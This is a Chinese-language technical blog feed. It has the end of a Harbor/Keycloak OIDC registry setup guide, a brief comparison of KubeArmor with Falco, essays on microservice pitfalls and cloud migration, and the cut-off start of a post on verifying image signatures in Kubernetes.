&lt;p&gt;如果我们现在登出管理账号（或者启动一个匿名浏览器），回到 Harbor Core 的 Ingress URL，会看到一个 &lt;code&gt;Login with OIDC Provider&lt;/code&gt; 选项。选择这个选项之后，会被重定向到 Keycloak 进行登录，这里我们应该使用一个常规 Keycloak 用户（Master Realm），不要用 Keycloak 管理用户。登录到 Harbor 之后，Harbor 会自动根据 Keycloak 的配置创建一个用户名。&lt;/p&gt;

&lt;p&gt;回到管理员账号，进入&lt;code&gt;Administrator&lt;/code&gt; 和 &lt;code&gt;Groups&lt;/code&gt;，就会看到 Keycloak 用户所属群组已经被复制到 Harbor。这意味着可以把特定的群组连接到特定项目，从而自动授予用户某个项目的访问权限。&lt;/p&gt;

&lt;p&gt;默认情况下所有用户都能创建项目。所有 Keycloak 用户都能登录到 Harbor，所以最好只允许管理员能够创建项目，可以用 Harbor 的 &lt;code&gt;Administration/Configuration/System Settings&lt;/code&gt; 来完成这一限制。&lt;/p&gt;

&lt;p&gt;可以用管理员身份进行测试，创建一个叫做 &lt;code&gt;test1&lt;/code&gt; 的私有项目，浏览项目的 &lt;code&gt;Members&lt;/code&gt; 卡片，选择 &lt;code&gt;+ Group&lt;/code&gt;，输出 &lt;code&gt;/Administrators&lt;/code&gt; 作为群组名称，并设置角色为 &lt;code&gt;Project Admin&lt;/code&gt;。 Keyclok 的 &lt;code&gt;Administrators&lt;/code&gt; 所有用户都能自动被授予该项目的 &lt;code&gt;Project Admin&lt;/code&gt; 权限。&lt;/p&gt;

&lt;h3 id=&#34;使用-docker&#34;&gt;使用 Docker&lt;/h3&gt;

&lt;p&gt;假设我们创建了叫做 &lt;code&gt;test1&lt;/code&gt; 的私有项目，并让我们的 Keycloak Master Realm 账号能够访问这个项目，我们就能够使用 Docker 客户端登录了，例如 &lt;code&gt;docker login core.harbor.ssotest.staging.talkingquickly.co.uk&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;然后输入 Keycloak 的 Master realm 中的用户名。而密码不应该使用 Keycloak 的密码，而是从 Harbor 获取，在用户页面右上角选择 &lt;code&gt;User Profile&lt;/code&gt;，在其中拷贝 CLI 密码。&lt;/p&gt;

&lt;p&gt;然后尝试推送镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;docker tag SOURCE_IMAGE[:TAG] core.harbor.ssotest.staging.talkingquickly.co.uk/test1/REPOSITORY[:TAG]
docker push core.harbor.ssotest.staging.talkingquickly.co.uk/test1/REPOSITORY[:TAG]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果我们要在 CI 服务器或者 Kubernetes 中使用这个仓库，可以在 Harbor 中进入 &lt;code&gt;Robot Accounts&lt;/code&gt; 卡片生成受限的访问 Token。&lt;/p&gt;

&lt;h3 id=&#34;从命令行中配置-harbor-oidc&#34;&gt;从命令行中配置 Harbor OIDC&lt;/h3&gt;

&lt;p&gt;Ansible 之类的自动化环境中是非常需要从命令行中完成任务的。因此 Harbor 提供了完善的 API，用管理员账号登录，点击底部的 &lt;code&gt;Harbor API v2.0&lt;/code&gt;，就能通过 Swagger 查看 API 文档。缺省情况下可以用 &lt;code&gt;YOUR_INGRESS_URL/api/v2.0/&lt;/code&gt; 访问 API。要查看当前配置可以使用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;curl -u &amp;quot;admin:HARBOR_ADMIN_PASSWORD&amp;quot; -H &amp;quot;Content-Type: application/json&amp;quot; -ki YOUR_INGRESS_URL/api/v2.0/configurations
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;目前为止，&lt;a href=&#34;https://goharbor.io/docs/1.10/install-config/configure-user-settings-cli/&#34; target=&#34;_blank&#34;&gt;Harbor 官网文档&lt;/a&gt;有些滞后，实际的命令返回内容中，为现有配置的可选项目提供了更好的概括信息。用命令行设置 OIDC 认证：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;curl -X PUT -u &amp;quot;admin:YOUR_ADMIN_PASSWORD&amp;quot; -H &amp;quot;Content-Type: application/json&amp;quot; -ki YOUR_HARBOR_CORE_INGRESS_URL/api/v2.0/configurations -d&#39;{&amp;quot;auth_mode&amp;quot;:&amp;quot;oidc_auth&amp;quot;, &amp;quot;oidc_name&amp;quot;:&amp;quot;Keycloak Auth&amp;quot;, &amp;quot;oidc_endpoint&amp;quot;:&amp;quot;YOUR_KEYCLOAK_REALM_INGRESS&amp;quot;, &amp;quot;oidc_client_id&amp;quot;:&amp;quot;harbor&amp;quot;, &amp;quot;oidc_client_secret&amp;quot;:&amp;quot;YOUR_KEYCLOAK_CLIENT_SECRET&amp;quot;, &amp;quot;oidc_scope&amp;quot;:&amp;quot;openid,profile,email,offline_access&amp;quot;, &amp;quot;oidc_groups_claim&amp;quot;:&amp;quot;groups&amp;quot;, &amp;quot;oidc_auto_onboard&amp;quot;:&amp;quot;true&amp;quot;, &amp;quot;oidc_user_claim&amp;quot;:&amp;quot;preferred_username&amp;quot;}&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;返回状态码为 200，表明我们已经成功地完成了 Keycloak 认证设置。然后做出限制，只有管理员才能创建项目：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;curl -X PUT -u &amp;quot;admin:YOUR_ADMIN_PASSWORD&amp;quot; -H &amp;quot;Content-Type: application/json&amp;quot; -ki YOUR_HARBOR_CORE_INGRESS_URL/api/v2.0/configurations -d &#39;{&amp;quot;project_creation_restriction&amp;quot;:&amp;quot;adminonly&amp;quot;}&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Harbor API 非常全面，例如我们可以使用 API 创建项目，并为群组授权访问该项目。因此它的 Swagger API 非常值得一看。&lt;/p&gt;

&lt;h3 id=&#34;在-kubernetes-中使用-1&#34;&gt;在 Kubernetes 中使用&lt;/h3&gt;

&lt;p&gt;要在 Kubernetes 中访问这个仓库，需要根据&lt;a href=&#34;https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;，使用项目的 &lt;code&gt;Robot Token&lt;/code&gt; 创建合适的 Image Pull Secret。&lt;/p&gt;

&lt;h3 id=&#34;结论&#34;&gt;结论&lt;/h3&gt;

&lt;p&gt;我们现在有了一个自托管的 Docker 镜像仓库，并且完全集成了 Keycloak 进行认证。如果想要用 Ansible、Chef 之类的配置管理工具，还能使用命令行完成这些配置。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Nginx Ingress 控制器：&lt;code&gt;https://kubernetes.github.io/ingress-nginx/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;OpenLDAP OUs：&lt;code&gt;https://www.theurbanpenguin.com/openldap-ous/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;LDAPSearch：&lt;code&gt;https://www.splunk.com/en_us/blog/tips-and-tricks/ldapsearch-is-your-friend.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;CN 和 DC：&lt;code&gt;https://stackoverflow.com/questions/18756688/what-are-cn-ou-dc-in-an-ldap-search&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Keycloak Chart：&lt;code&gt;https://github.com/codecentric/helm-charts/tree/master/charts/keycloak&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Issue：&lt;code&gt;https://github.com/osixia/docker-openldap/issues/304&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用搜索操作符：&lt;code&gt;https://docs.oracle.com/cd/E19623-01/820-6169/searching-for-special-entries-and-attributes.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;ldapsearch Examples：&lt;code&gt;https://docs.oracle.com/cd/E19450-01/820-6169/ldapsearch-examples.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Kubernetes 和 OpenID：&lt;code&gt;https://kubernetes.io/docs/reference/access-authn-authz/authentication/#openid-connect-tokens&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;kube-oidc-proxy：&lt;code&gt;https://github.com/jetstack/kube-oidc-proxy&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;kubelogin：&lt;code&gt;https://github.com/int128/kubelogin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kubelogin&lt;/code&gt;：&lt;code&gt;https://github.com/int128/kubelogin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Kube-Login：&lt;code&gt;https://github.com/int128/kubelogin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;krew：&lt;code&gt;https://krew.sigs.k8s.io/docs/user-guide/setup/install/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;direnv：&lt;code&gt;https://direnv.net/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;kubectx：&lt;code&gt;https://github.com/ahmetb/kubectx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Debian 远程开发环境：&lt;code&gt;http://www.talkingquickly.co.uk/2021/01/debian-dev-environment-for-remote-vscode/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;OSX 配置：&lt;code&gt;http://www.talkingquickly.co.uk/2021/01/macos-setup-with-ansible/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;OAuth2 Proxy：&lt;code&gt;https://github.com/oauth2-proxy/oauth2-proxy&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;官方的 Nginx 容器镜像：&lt;code&gt;https://hub.docker.com/_/nginx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;基于子请求结果的认证：&lt;code&gt;https://docs.nginx.com/nginx/admin-guide/security-controls/configuring-subrequest-authentication/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Nginx Ingress：&lt;code&gt;https://kubernetes.github.io/ingress-nginx/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://jwt.io：`https://jwt.io/`&#34; target=&#34;_blank&#34;&gt;https://jwt.io：`https://jwt.io/`&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;How to write ldap search filters：&lt;code&gt;https://confluence.atlassian.com/kb/how-to-write-ldap-search-filters-792496933.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Gitea LDAP 文档：&lt;code&gt;https://docs.gitea.io/en-us/authentication/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Gitea 的命令文档：&lt;code&gt;https://docs.gitea.io/en-us/command-line/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://github.com/twuni/docker-registry.helm&lt;/code&gt;：&lt;code&gt;https://github.com/twuni/docker-registry.helm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Keycloak 文档：&lt;code&gt;https://www.keycloak.org/docs/4.8/securing_apps/#docker-registry-configuration&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Kubernetes 文档：&lt;code&gt;https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Harbor 官方 Helm 文档：&lt;code&gt;https://github.com/goharbor/harbor-helm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Harbor 的 values 文件：&lt;code&gt;https://github.com/goharbor/harbor-helm/blob/master/values.yaml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Harbor 官网文档：&lt;code&gt;https://goharbor.io/docs/1.10/install-config/configure-user-settings-cli/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pull Secret 官方文档：&lt;code&gt;https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>关于 KubeArmor 的闲言碎语</title>
      <link>/post/gossip-about-kubearmor/</link>
      <pubDate>Tue, 11 May 2021 22:48:19 +0800</pubDate>
      <guid>/post/gossip-about-kubearmor/</guid>
      <description>

&lt;p&gt;早上看到了一篇关于 &lt;a href=&#34;https://mp.weixin.qq.com/s/OCn9VPjxXLx0p4djD8hg3A&#34; target=&#34;_blank&#34;&gt;KubeArmor 的简介&lt;/a&gt;，觉得还挺新鲜的，就坐下看了一下介绍，并没有进行实际的测试，把它和我之前比较熟悉的一些类似技术做一点比较。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/kubearmor_overview.png&#34; alt=&#34;overview&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上图是官方提供的架构说明，它依赖于 AppArmor、SeLinux（下个版本）以及 KRSI（未来）这样的 LSM，对容器中的进程进行监控和限制，借助 eBPF 技术将进程信息和 Kubernetes 关联起来，从而获取到进程的 K8s 相关信息，能够根据策略阻止或者上报违规行为，并把过程发送到日志、标准输出以及 gRPC 目标之中，未来还会支持数据库、Kafka、ES 等。目前关注的行为包括以下几个方面&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;进程执行&lt;/li&gt;
&lt;li&gt;文件访问&lt;/li&gt;
&lt;li&gt;网络操作&lt;/li&gt;
&lt;li&gt;Capabilities&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;它的定义和 PSP 以及 SecurityContext 都不同，采用了类似 Kyverno 类似的方式，定义规则，然后用 Label Selector 将策略关联到 Pod 上，例如源码中提供的例子：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: security.accuknox.com/v1
kind: KubeArmorPolicy
metadata:
  name: ksp-ubuntu-1-proc-dir-block
  namespace: multiubuntu
spec:
  selector:
    matchLabels:
      container: ubuntu-1
  process:
    matchDirectories:
    - dir: /sbin/
  action:
    Block
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;规则针对标签 &lt;code&gt;container=ubuntu-1&lt;/code&gt; 的 Pod 中的容器，禁止执行 &lt;code&gt;/sbin/&lt;/code&gt; 下的命令。&lt;/p&gt;

&lt;p&gt;个人觉得功能方面最相似的工具就是 Falco 了，它的配置无疑比相对“传统”的 Falco 方便了许多，并且还有 &lt;strong&gt;BLOCK&lt;/strong&gt; 能力；但是其输入条件的丰富程度是远不如 Falco 的，例如对 ServiceAccount、Verb、Subresource 等 K8s 特定元数据的输入支持，条件语法也不如 Falco 灵活。&lt;/p&gt;

&lt;h2 id=&#34;以下结论纯属胡说&#34;&gt;以下结论纯属胡说&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;OPA/Kyverno 有这种功能就有意思了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;项目地址：&lt;code&gt;https://github.com/accuknox/KubeArmor&lt;/code&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>《我曾目睹的微服务灾难》的读后感</title>
      <link>/post/microservice-horror/</link>
      <pubDate>Sun, 09 May 2021 10:54:22 +0800</pubDate>
      <guid>/post/microservice-horror/</guid>
      <description>

&lt;p&gt;2011-2012 年，我所在的团队正在给某国字号企业交付一个集团级的企业应用，这个应用覆盖了除 IaaS 之外的整个上层，层级和宽度上来说都算得上是个大家伙了。在当时，这个项目有几个新鲜的点，例如硬件全部采用通用的 x86 刀片服务器，全部基础软件都使用了开源软件——例如 LAMP、Nginx、MongoDB（是的你没看错，就是 MongoDB），使用 Java、PHP、ASP.NET 等多种平台的多个厂商协作交付；除此之外，还设计了和当时大行其道的 SoA 不太一样的一种架构，这个架构有几个特点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;因为其中几百个子系统都是为各自不同的业务（部门）服务的，换句话说，其实我当时的建设过程是多个建设方对应多个甲方的，因此我们采取的策略是以业务为核心，用高内聚低耦合的基本原则进行子系统的拆分。&lt;/li&gt;
&lt;li&gt;提供一种基于 HTTP 的二进制传输协议，不同开发商依照约定接口各自用各自的开发平台和&lt;strong&gt;各自的数据库&lt;/strong&gt;进行开发和交付。&lt;/li&gt;
&lt;li&gt;部分全局能力，例如认证鉴权、门户、PaaS 级服务及其 SDK 由总集成商提供。&lt;/li&gt;
&lt;li&gt;对于高负载应用，其横向扩展能力是首要考量标准（在那个年代，扩缩容是个复杂且高危的操作），在满足业务需求的基本条件下，对子系统中的模块，按照若干原则进行拆分为不同进程：

&lt;ul&gt;
&lt;li&gt;可扩缩和不可扩缩容的模块&lt;/li&gt;
&lt;li&gt;扩缩容不同步的模块&lt;/li&gt;
&lt;li&gt;负载规模不一致的不同模块&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;总的说来这次交付是相当成功的，然而无损创新是不太符合历史规律的，这种架构带来的问题同样挠头：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;数据流转：前面提到，很多子系统会使用自己的数据库，所以有些数据需要在不同子系统之间进行流转，就有可能造成数出多头的问题。&lt;/li&gt;
&lt;li&gt;监控要求高：刀片服务器和小型机相比，数量大增、性能和稳定性又稍有不足，因此对硬件和系统进行监控的需求就陡然提高，另外因为进程之间、节点之间通信次数和通信量的暴涨，对于网络连通性、磁盘和网络 IO 等的监控需求也是水涨船高。&lt;/li&gt;
&lt;li&gt;运维难度大：不同的应用、不同的平台、大量进程，还有更要命的不同的数据库，对运维团队的要求极高（事实上离开项目一年之后我还能听到来自该项目运维团队的骂声。）&lt;/li&gt;
&lt;li&gt;&amp;hellip;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;回到《灾难》一文，其中提到的很多更加具体的点，摘抄几点，一起休闲一下。&lt;/p&gt;

&lt;h2 id=&#34;灾难一-服务太小&#34;&gt;灾难一：服务太小&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;20 名工程师组成了维护 50 项服务的小组。一人负责一项服务还不够！&lt;/strong&gt;：我一直认为，微服务是一个向现实妥协的过程，这个现实应该是全面的，它不仅是业务的现实、也是团队能力的现实，这个语境下所提倡的全能小团队，其能力虽然宽泛，但即使是业务软件也是有其服务上限的，不尊重业务负载和不尊重团队负载，并没有什么区别。量入为出是个基本要求。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Another smell was when someone told me that deploying a new feature in service A also needed a deployment — at the same time — in service B.（有人要求我把一个新功能同时部署到两个不同服务之中）&lt;/strong&gt;：这个例子很有代表性，这里的 Someone 同时是 Service A 和 Service B 两个不同服务的所有者或者部分所有者。所以这一点就面临几个问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;这两个服务应该分开的么？为什么会共享同一个功能？&lt;/li&gt;
&lt;li&gt;新功能是不是应该拆分开来，成为第三个服务？&lt;/li&gt;
&lt;li&gt;Someone 到底是谁？&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;与仅仅在 IDE 中查看一个项目不同，人们需要一次打开多个项目才能了解所有这些混乱的情况。&lt;/strong&gt;：其实即使是一个单体应用，只要它规模太大，在外人来说也是很难突然就能够 “make sense of all that mess” 了——别人的代码在功能和非功能层面满足服务要求，没有在边界外造成不良影响，按照契约进行开发和测试，根据讲定的边界做好各种限制各种观测，为啥非要把手伸那么长呢，是职责不清还是拆分有误？&lt;/p&gt;

&lt;h2 id=&#34;灾难二-开发环境&#34;&gt;灾难二：开发环境&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Mobile developers not developing a feature before it was in a development environment or backend developers who wanted to try their service didn&amp;rsquo;t break any business flow. It was also problematic if someone wanted to test the whole flow in a mobile app before production.&lt;/strong&gt;：这个问题涉及到的是依赖服务之间的协作开发的问题，实际上所有不同实体之间的调用，不管是内部的函数调用、还是古代的 COM+、CORBA，后来的 WebService/RESTful 等等，都面临同样的环境和上下游依赖问题。至于后续的若干的问题，实际上都是全局角度上的微服务治理问题——其实不管有没有微服务，协作单元多了一定会出现这种情况，像 Grafana Stack、ES Stack、Skywalking 等观测技术，以及 Service Mesh 等的网格技术，都是为了解决这样的难题的。十二要素、云原生等方法也给出了相对具体的设计、部署和运行方法的支持。&lt;/p&gt;

&lt;h2 id=&#34;灾难三-端到端测试&#34;&gt;灾难三：端到端测试&lt;/h2&gt;

&lt;p&gt;这个——非常特别同意。&lt;/p&gt;

&lt;h2 id=&#34;灾难四-巨大的共享数据库&#34;&gt;灾难四：巨大的共享数据库&lt;/h2&gt;

&lt;p&gt;这个其实应该属于典型的人祸了，到现在应该没人会认为共享数据库的多个进程能够称之为微服务了。&lt;/p&gt;

&lt;h2 id=&#34;灾难五-api-网关&#34;&gt;灾难五：API 网关&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Suddenly, you have your &amp;ldquo;API gateway&amp;rdquo; being a single-point-of-failure — because people find it easier to handle authentication in a single place — and with some unintended business logic inside it. Instead of having a monolith getting all of the traffic, now you have a home-made Spring Boot service getting all of it!&lt;/strong&gt;：网关和服务网格这样的产品，发展下来经常会扩展成具备大量功能的超级工具，这给人一种联想——上了工具之后写写配置就有功能用了这实在是太棒了。然而 Java 开发者或者 YAML 工程师都会知道，&lt;strong&gt;配置&lt;/strong&gt; 这事太难了，以至于出现了 OPA、PIPY 这样直接让配置工程师撸代码的“反潮流”工具。&lt;/p&gt;

&lt;p&gt;事实上采用一个开源/第三方软件或者库，因其规模不同，对应的评价工作量是完全不同的，尤其对于 Kong、Istio 这样的大家伙来说，比起“用不用”的问题来说，“用多少”和“怎么用”的问题可能更加复杂，动辄“全面拥抱”可能是一个非常冒险的行为。&lt;/p&gt;

&lt;h2 id=&#34;灾难六-超时-重试和弹性&#34;&gt;灾难六：超时、重试和弹性&lt;/h2&gt;

&lt;p&gt;这个似乎是服务间调用的普遍情况，我不确定这是微服务的锅。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;在实施转型或者说改造的过程中，难免会遇到这样那样的问题，然而微服务其实并没有什么特别的——就特别多、特别碎。如果能在全局层面做好观测、做好治理，练好基本功，让每个服务都能各司其职又不互相妨碍，是不是微服务又能有什么关系呢。微服务是为业务服务，同现状和解的，抛开目的和现实，单纯为微服务而微服务，很可能除了话题，一无所获。&lt;/p&gt;

&lt;h2 id=&#34;参考阅读&#34;&gt;参考阅读&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://mp.weixin.qq.com/s?__biz=MjM5MDE0Mjc4MA==&amp;amp;mid=2651076230&amp;amp;idx=1&amp;amp;sn=b149039892829f8afa940d3cf5104a0f&amp;amp;chksm=bdb9ced58ace47c345f9e49dff324bacf91a154be247815c4fbb780c448376448dfed66481b9&amp;amp;mpshare=1&amp;amp;scene=1&amp;amp;srcid=0509sLCazm1rnEDoVIEmmfaJ&amp;amp;sharer_sharetime=1620528375378&amp;amp;sharer_shareid=1d93fb5fa2b29b35d135653bdc08e257#rd&#34; target=&#34;_blank&#34;&gt;我曾目睹的微服务灾难&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://world.hey.com/joaoqalves/disasters-i-ve-seen-in-a-microservices-world-a9137a51&#34; target=&#34;_blank&#34;&gt;Disasters I&amp;rsquo;ve seen in a microservices world&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://blog.fleeto.us/post/segment-why-microservices/&#34; target=&#34;_blank&#34;&gt;Segment：为什么微服务适合我们&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.infoq.cn/article/v3VjP*BYtY3qhD3438ay&#34; target=&#34;_blank&#34;&gt;Segment 放弃了微服务&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://blog.fleeto.us/post/microservice/&#34; target=&#34;_blank&#34;&gt;微服务&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>做云自缚——应用上云之路</title>
      <link>/post/lost-in-the-cloud/</link>
      <pubDate>Tue, 27 Apr 2021 16:48:14 +0800</pubDate>
      <guid>/post/lost-in-the-cloud/</guid>
      <description>

&lt;p&gt;今天扯个闲篇，说说应用上云的事情。&lt;/p&gt;

&lt;p&gt;最近这几年，一直都在围着“应用上云”这四个字转悠，看到很多成功的和不太成功的应用上云活动，是的——一个失败的都没有，所以云原生真是厉害，对吧？&lt;/p&gt;

&lt;p&gt;应用上云成功了会怎么样呢？一般成功案例会共享的几个好处：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;应用更快交付、能用更高的频率迭代&lt;/li&gt;
&lt;li&gt;更高的应用密度，更有效地使用资源&lt;/li&gt;
&lt;li&gt;监控日志等可观察性方面的增强&lt;/li&gt;
&lt;li&gt;弹性伸缩在削峰填谷方面的卓越表现&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果用上了 Service Mesh 或者类似微服务治理技术，多半还会提到分布式追踪、熔断、限流等的好处。&lt;/p&gt;

&lt;p&gt;然而面对这种种诱人后果的展示时，很多像我一样的中老年 IT 人可能都会发出一句常见的老年人诘问：这些东西以前没有吗？&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Jenkins 的前身 Hudson 诞生于 2004 年，2011 年定名 Jenkins。&lt;/li&gt;
&lt;li&gt;Maven 大约诞生于 2001 年。&lt;/li&gt;
&lt;li&gt;SonarQube 大约诞生于 2007 年。&lt;/li&gt;
&lt;li&gt;Zabbix 也二十多岁了。&lt;/li&gt;
&lt;li&gt;SpringCloud 其实跟 Kubernetes 几乎同龄。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所以是什么让云原生的林林总总从厚重的历史中脱颖而出的？我认为是 Docker，那个 “Build once, Run anywhere, Configure once, Run anything” 的 Docker。在 Docker 出现之前，IT 界为了造词疲于奔命，从 CMM 到敏捷、从 CI/CD 到 DevOps，另外还有十二要素、微服务、重构等等的方法。而 Docker 出现之后，随着 Google 不断的勒索，Docker 提出的容器镜像打包和运行标准，逐步“贡献”出来成为开放标准，CxI 已经成为云原生世界中最重要的标准群。&lt;/p&gt;

&lt;p&gt;名言说：无产阶级失去的只是枷锁，而他们获得的将是整个世界。而我理解的云原生，跟这个口号恰好相反——软件通过自投罗网的方式，交出部分自由，获得自称云原生的资格。“自废武功”的应用有多不自由呢？&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;要清楚地了解从操作系统、构建系统、软件库等的依赖，用内聚的方式进行打包，形成单一的容器镜像（文件）&lt;/li&gt;
&lt;li&gt;为了能在通用且较为低配的容器节点上顺利运行，通常需要对软件的资源规模有一个足够进行量化的认识，甚至需要为了资源、容量等问题对应用进行拆分。&lt;/li&gt;
&lt;li&gt;为了进行扩缩容，微服务提供的服务接口要努力摒弃状态，实现幂等，甚至还要完善健康检查、优雅退出等以前不关注的边角料功能。&lt;/li&gt;
&lt;li&gt;甚至连临时文件和日志都不能随意输出了。&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在应用屈服了之后，过去一直无法施展拳脚的很多方法和工具也焕发了新生——例如 DevOps、敏捷、微服务，甚至还诞生了更具通用性的服务网格、更大跨度的分布式追踪等“更厚”的基础设施。这些先进又复杂的底层设施，因为面对的是具备通用性的业务应用，也具备了明确的支持能力。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;好好打镜像，好好写 YAML，我们都有美好的未来。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes 中检查镜像签名</title>
      <link>/post/check-signed-image-in-k8s/</link>
      <pubDate>Tue, 20 Apr 2021 00:42:38 +0800</pubDate>
      <guid>/post/check-signed-image-in-k8s/</guid>
      <description>&lt;p&gt;之前连续写了几篇 Shell Operator 的东西，后来又写了一篇 cosign 的介绍，细心的读者可能会猜到，最终我的目的就是会用 Shell Operator 结合 cosign 来检查镜像的签名，以此保障镜像的完整性——是的，这个过程相当容易。&lt;/p&gt;

&lt;p&gt;Shell Operator 除了初期的调度和 Prometheus Exporter 功能之外，最近又加入了 &lt;a href=&#34;https://github.com/flant/shell-operator/tree/master/examples/204-validating-webhook&#34; target=&#34;_blank&#34;&gt;Validating Webhook&lt;/a&gt; 的能力，和以前的几篇文章的内容结合起来，能非常轻松地实现检查镜像签名的能力。&lt;/p&gt;

&lt;p&gt;简单地设计如下功能：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;创建密钥对，以私钥对镜像进行签名，公钥用 Secret 的形式保存进集群。&lt;/li&gt;
&lt;li&gt;创建 Shell Operator 配置，只针对打出了特定标签的命名空间中的对象进行检查。&lt;/li&gt;
&lt;li&gt;配置保存为 Configmap。&lt;/li&gt;
&lt;li&gt;部署 Shell Operator 组成的 Validating Webhook.&lt;/li&gt;
&lt;li&gt;在特定命名空间中创建工作负载，触发校验功能。&lt;/li&gt;
&lt;li&gt;Shell Operator 使用公钥进行校验，校验通过才能成功运行。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;我们给 Webhook 编写如下配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  config:
    namespace:
      labelSelector:
        matchLabels:
          signed: &amp;quot;required&amp;quot;
    rules:
    - apiGroups:   [&amp;quot;apps&amp;quot;]
      apiVersions: [&amp;quot;v1&amp;quot;]
      operations:  [&amp;quot;CREATE&amp;quot;, &amp;quot;UPDATE&amp;quot;]
      resources:   [&amp;quot;deployments&amp;quot;]
      scope:       &amp;quot;Namespaced&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;配置内容声明，仅对标签为 &lt;code&gt;signed=required&lt;/code&gt; 的命名空间中的 Deployments 对象生效。将配置文件生成为 Configmap，保存到 Configmap 中，运行期加载为存储卷，然后就可以在代码中如此调用：&lt;/p&gt;

